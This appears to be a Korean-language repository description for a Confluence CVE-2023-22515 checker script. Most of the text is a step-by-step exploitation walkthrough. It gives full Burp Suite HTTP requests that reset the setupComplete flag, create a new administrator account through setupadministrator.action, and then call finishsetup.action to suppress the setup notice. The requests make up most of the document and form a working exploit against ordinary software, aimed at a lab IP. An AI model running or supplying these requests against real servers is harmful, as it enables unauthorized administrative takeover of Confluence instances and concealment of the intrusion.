xorbbo/cve-2023-22515앱이 cve-2023-22515에 취약한지 확인하는 NSE 스크립트
여기에는 Burp Suite를 통한 취약점 악용 논리가 설명되어 있습니다.
악용하려면 bootstrapStatusProvider.applicationConfig.setupComplete 속성 값을 false로 변경해야 합니다. 즉, 다음 요청을 실행합니다:
GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: 192.168.1.37:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: JSESSIONID=77149CD086735B59F8F7FBE253D563AC
Upgrade-Insecure-Requests: 1
Priority: u=1
이를 통해 서버 초기 설정을 시작할 수 있으며, 결과적으로 관리자 권한이 있는 계정을 생성할 수 있게 됩니다.
POST /setup/setupadministrator.action HTTP/1.1
Host: 192.168.1.37:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=1
X-Atlassian-Token: no-check
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
username=not_xorbbo&fullName=NotXorbbo&email=not.xorbbo%40localhost&password=PasswordAnim3&confirm=PasswordAnim3&setup-next-button=Next
취약점 악용 후에는 Confluence 구성 완료 알림을 비활성화하기 위해 POST 요청을 보내는 것이 좋습니다:
POST /setup/finishsetup.action HTTP/1.1
Host: 192.168.1.37:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=1
X-Atlassian-Token: no-check
Referer: http://192.168.1.37:8090/setup/setupadministrator.action